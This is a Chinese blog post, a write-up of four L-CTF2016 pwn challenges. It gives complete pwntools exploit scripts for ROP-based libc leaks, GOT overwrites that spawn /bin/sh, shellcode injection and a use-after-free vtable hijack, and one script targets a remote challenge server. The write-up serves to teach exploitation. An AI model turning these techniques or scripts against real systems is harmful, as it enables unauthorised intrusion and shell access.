BruceFan's Blog

Stay hungry, stay foolish

0%

L-CTF2016 PWN Writeup

题目下载

pwn100


程序的漏洞很明显,考察的是exploit的编写。

1
2
3
4
5
6
7
$ gdb pwn100
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

开了NX不能用shellcode,程序也没给libc,因此第一步需要泄露libc中函数的地址,下面编写了一个leak内存的程序,作用是leak libc函数read()和puts()的实际地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python
#coding:utf-8

from pwn import *

begin = 0x40068e
read_got = 0x601028
puts_got = 0x601018
puts_plt = 0x400500
pop_rdi = 0x400763

r = remote('119.28.63.211', 2332)

def leak(address):
payload = 'A' * 0x40
payload += 'B' * 8
payload += p64(pop_rdi)
payload += p64(address)
payload += p64(puts_plt)
payload += p64(begin)
payload += 'C' * (200 - len(payload))
r.send(payload)
try:
r.readuntil('bye~\n')
leak = r.recvuntil('\n')
return leak[:-1].ljust(8, '\0')
except:
return None

print "read address: " + hex(u64(leak(read_got)))
print "puts address: " + hex(u64(leak(puts_got)))

运行结果:

1
2
3
4
5
$ ./testserver.py
[+] Starting local process './pwn100': Done
read address: 0x7fe49c7d19a0
puts address: 0x7fe49c74a5d0
[*] Stopped program './pwn100'

因为libc的加载是页对齐的,所以低十二位不管怎么随机化都不会变。利用这个原理github上有一个叫libc-database的项目,可以根据任意两个libc函数的低十二位的值找到libc的对应版本,接着可以找到一些其他libc函数的偏移。

1
2
3
4
5
6
7
8
9
10
$ ./find read 9a0 puts 5d0
http://ftp.osuosl.org/pub/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu3_amd64.deb (id libc6_2.23-0ubuntu3_amd64)
/lib/x86_64-linux-gnu/libc-2.23.so (id local-375198810bb39e6593a968fcbcf6556789026743)
$ ./dump local-375198810bb39e6593a968fcbcf6556789026743
offset___libc_start_main_ret = 0x20830
offset_system = 0x0000000000045380
offset_dup2 = 0x00000000000f70c0
offset_read = 0x00000000000f69a0
offset_write = 0x00000000000f6a00
offset_str_bin_sh = 0x18c58b

下面就是完整的exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python
#coding:utf-8

from pwn import *

begin = 0x40068e
readn = 0x40063d
bss = 0x601050
read_got = 0x601028
puts_got = 0x601018
puts_plt = 0x400500
pop_rdi = 0x400763
pop_rsi_pop_r15 = 0x400761

r = process('./pwn100')
#r = remote('119.28.63.211', 2332)
payload = 'A' * 0x40
payload += 'B' * 8
# leak read address
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)
# readn to bss
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(pop_rsi_pop_r15) # 查找时是pop r15,但实际执行可能是pop rdi,调试可知
payload += p64(7)
payload += p64(bss) # 这里要和rdi的值相同,防止若实际执行pop rdi,使rdi的值改变
payload += p64(readn)
# return to begin()
payload += p64(begin)
print "payload len" + hex(len(payload))
payload += 'C' * (200 - len(payload))
r.send(payload)

r.readuntil('bye~\n')
leak = r.recvuntil('\n')
read_got = u64(leak[:-1].ljust(8, '\0')) # read@got
read_offset = 0xec690 # 这里需要根据不同的libc进行修改
system_offset = 0x468f0
libc_base = read_got - read_offset
system_addr = libc_base + system_offset
print "system address: " + hex(system_addr)
# 发送binsh字符串到bss
r.send("/bin/sh")

# readn to overwrite puts' got
payload2 = 'A' * 0x40
payload2 += 'B' * 8
payload2 += p64(pop_rdi)
payload2 += p64(puts_got)
payload2 += p64(pop_rsi_pop_r15)
payload2 += p64(8)
payload2 += p64(puts_got)
payload2 += p64(readn)
# execute system("/bin/sh")
payload2 += p64(pop_rdi)
payload2 += p64(bss)
payload2 += p64(puts_plt)
print "payload2 len" + hex(len(payload2))
payload2 += 'C' * (200 - len(payload2))

r.send(payload2)
print "press enter to send system"
raw_input()
r.send(p64(system_addr))
r.interactive()

pwn200


这个函数里有一个栈地址泄露,把v2写满打印就会连rbp的值一同打印出来。

这个函数里有一个栈溢出漏洞,buf的内容会覆盖dest的值,之后就可以向任意地址写内容。

1
2
3
4
5
6
7
$ gdb pwn200
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial

发现栈可执行,用shellcode即可,下面是完整的exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
#coding:utf-8

from pwn import *
r = process('./pwn200')
# pwntools自动生成的shellcode
shellcode = asm(shellcraft.amd64.linux.sh(), arch = 'amd64')

free_got = 0x602018

r.recvuntil('who are u?\n')
r.send(shellcode.ljust(48)) # shellcode写到welcome函数的v2变量里
r.recvuntil(shellcode.ljust(48)) # 写满v2,泄露main函数的栈底位置

leak_addr = u64(r.recvn(6).ljust(8, '\x00'))
shellcode_addr = leak_addr - 0x50 # gdb动态调试可知相对位置
print 'shellcode addr: ' + hex(shellcode_addr)

r.recvuntil('give me your id ~~?\n')
r.sendline('0')
r.recvuntil('give me money~\n')
# 将free@got写为shellcode的地址,调用free即可执行shellcode
payload = p64(shellcode_addr).ljust(56, '\x00') + p64(free_got)
r.send(payload)
r.sendline('2')
r.interactive()

pwn300

程序运行错误,readelf发现缺少两个特殊的lib文件:libio和libgetshell。这是出题人自己实现的两个库文件:

1
2
3
4
5
6
7
$ readelf -d pwn300

Dynamic section at offset 0xee0 contains 13 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libio.so]
0x0000000000000001 (NEEDED) Shared library: [libgetshell.so]
...

为了能让程序正常运行,需要把lib文件放到系统目录里:

1
2
3
$ sudo cp lib* /usr/local/lib
$ sudo ldconfig
$ ./pwn300

这里是为了实验,实际没有提供lib文件,需要静态分析漏洞并利用。

程序的漏洞很明显,又是考察exploit的编写,利用栈溢出dump所用的库文件libgetshell,跳转到其中的getshell函数即可,下面是完整的exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python
#coding:utf-8

from pwn import *
import os, sys

# switches
DEBUG = 0
LOCAL = 1
VERBOSE = 0
# modify this
if LOCAL:
r = process('./pwn300')
else:
r = remote('127.0.0.1', 4444)

if VERBOSE: context(log_level = 'debug')
# define symbols and offsets here
main_addr = 0x4004a9
pop_r12_r13_r14_r15 = 0x40049e
callframe = 0x400484
write_got = 0x601018

def recvall(count):
buf = ''
while count:
tmp = r.recvn(count)
buf += tmp
count -= len(tmp)
return buf

def leak(addr, length = 40):
r.recvuntil('fuck me!\n')
payload = 'A' * 40
payload += p64(pop_r12_r13_r14_r15) # 通用gadget
payload += p64(write_got)
payload += p64(length)
payload += p64(addr)
payload += p64(1)
payload += p64(callframe)
payload += p64(0) * 7
payload += p64(main_addr)
assert len(payload) <= 0xa0
r.send(payload.ljust(0xa0))
return recvall(length)

if DEBUG: gdb.attach(r)
dynelf = DynELF(leak, elf = ELF('pwn300'))
libgetshell = dynelf.lookup(None, "libgetshell") # 泄露库函数地址
getshell = libgetshell + 0x311 # 根据dump出的库,找到getshell函数的偏移
# getshell = dynelf.lookup('getshell', 'libgetshell') # 这种方法会出错,不知道什么原因

info("libgetshell = " + hex(libgetshell))
info("getshell = " + hex(getshell))

r.recvuntil('fuck me!\n')
payload = 'a' * 40 + p64(getshell)
r.send(payload.ljust(0xa0))
'''
# dump库
f = open('libgetshell.dump', 'wb')
while 1:
f.write(leak(libgetshell, 0x1000))
libgetshell += 0x1000
'''
r.interactive()

pwn400

这是一个C++写的rsa加解密程序,里面有一个qword_604380的全局变量,命名为cipher,首先要分析出cipher的结构,因为整个程序都在操作这个结构。

1
2
3
4
5
cipher:
| 0x8 | 0x48 | 0x200 | 0x8 | 0x8
+--------+-----------+----------------+----------+--------+
| vtable | plaintext | cipertext | keychain | length |
+--------+-----------+----------------+----------+--------+

刚开始的时候我也不知道其实cipher是一个类,不知道第一个存储空间是vtable,只知道第一个存储空间里存的是一些函数地址。
加密的时候,加密一个字节会变为8个字节,加密0x40个字节,ciphertext就是0x200,打印的时候就会将keychain的地址一同打印出来。

解密之后会有uaf:解密之后cipher变量所指的堆会被free,但是cipher指针没有置空,再调用comment会覆盖原来的堆,根据前面泄露的堆地址,覆盖vtable为fake_vtable(一个堆上的地址),在这个地址上写上要执行的gadget的地址。
这里找的是如下一段gadget:

1
0x0000000000401245 : add rsp, 0x28 ; pop rbx ; pop rbp ; ret


gadget执行完之后,栈顶即为局部变量textbuf,因此可以在这里布置ropchain,方法是调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python
#coding:utf-8

from pwn import *

DEBUG = 0
LOCAL = 0
VERBOSE = 0

libc = ELF('./libc-2.23.so')
system_offset = libc.symbols['system']
binsh_offset = next(libc.search('/bin/sh'))
printf_offset = libc.symbols['printf']

pop_rdi = 0x402343
printf_got = 0x604018
printf_plt = 0x400be0
main = 0x401d9d

if LOCAL:
r = process('./pwn400')
else:
r = remote('127.0.0.1', 4444)

if VERBOSE: context(log_level='debug')

def menu():
return r.recvuntil('exit\n')

def addcipher(keychain='0', p = 3, q = 5):
menu()
r.sendline('1')
r.recvuntil('No\n')
r.sendline(keychain)
if keychain == '1':
r.recvuntil('p:')
r.sendline(str(p))
r.recvuntil('q:')
r.sendline(str(q))

def encrypt(length, data):
menu()
r.sendline('2')
r.recvuntil(')\n')
r.sendline(str(length))
r.recvuntil('\n')
r.send(data)

def decrypt(length, data):
menu()
r.sendline('3')
r.recvuntil(')\n')
r.sendline(str(length))
r.recvuntil('text\n')
r.send(data)

def comment(data):
menu()
r.sendline('4')
r.recvuntil('RSA')
r.send(data)

# define exploit function here
def pwn():
if DEBUG: gdb.attach(r)
addcipher(keychain='1')
print "press enter to encrypt"
raw_input()
encrypt(64, 'a'*64)
r.recvuntil(': ')
r.recvn(512) # encrypt text length
heapleak = u64(r.recvuntil('\n')[:-1].ljust(8, '\x00'))
heap = heapleak - 0x270
info("Heap Leak = " + hex(heap))
decrypt(64, '0' * 128) # uaf
fake_vtable = heap + 0x40
payload = p64(fake_vtable) + p64(1) * 5 + p64(0xdeadbeef) * 4 + p64(0x401245) + p64(0x401245) # 这个gadget是覆盖的decrypt函数
payload = payload.ljust(128)
comment(payload)
ropchain = p64(pop_rdi)
ropchain += p64(printf_got)
ropchain += p64(printf_plt)
ropchain += p64(main)
decrypt(256, ropchain.ljust(512)) # 这里会先将ropchain写到栈上,然后调用decrypt,但decrypt已经变为gadget的地址
libc = u64(r.recvn(6).ljust(8, '\x00')) - printf_offset # leak libc base addr
info('libc = ' + hex(libc))
ropchain = p64(pop_rdi)
ropchain += p64(libc + binsh_offset)
ropchain += p64(libc + system_offset)
decrypt(256, ropchain.ljust(512))
r.interactive()

if __name__ == '__main__':
pwn()